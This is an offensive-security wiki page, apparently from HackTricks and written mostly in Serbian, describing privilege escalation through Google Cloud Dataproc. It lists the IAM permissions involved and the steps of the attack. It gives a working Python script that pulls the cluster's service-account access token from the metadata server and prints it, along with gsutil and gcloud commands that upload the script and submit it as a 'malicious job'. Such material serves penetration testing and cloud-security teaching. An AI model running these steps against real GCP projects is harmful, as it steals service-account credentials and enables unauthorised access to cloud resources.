# GCP Dataproc Privilege Escalation

{{#include ../../../banners/hacktricks-training.md}}

## Dataproc

{{#ref}}
../gcp-services/gcp-dataproc-enum.md
{{#endref}}

### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`

Nisam mogao da dobijem reverznu školjku koristeći ovu metodu, međutim, moguće je da se iscuri SA token sa metadata endpoint-a koristeći metodu opisanu u nastavku.

#### Koraci za eksploataciju

- Postavite skriptu posla na GCP Bucket

- Pošaljite posao na Dataproc klaster.

- Koristite posao za pristup metadata serveru.

- Iscurite token servisnog naloga koji koristi klaster.
```python
import requests

metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}

def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None

if __name__ == "__main__":
fetch_metadata_token()
```

```bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>

# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>
```
{{#include ../../../banners/hacktricks-training.md}}
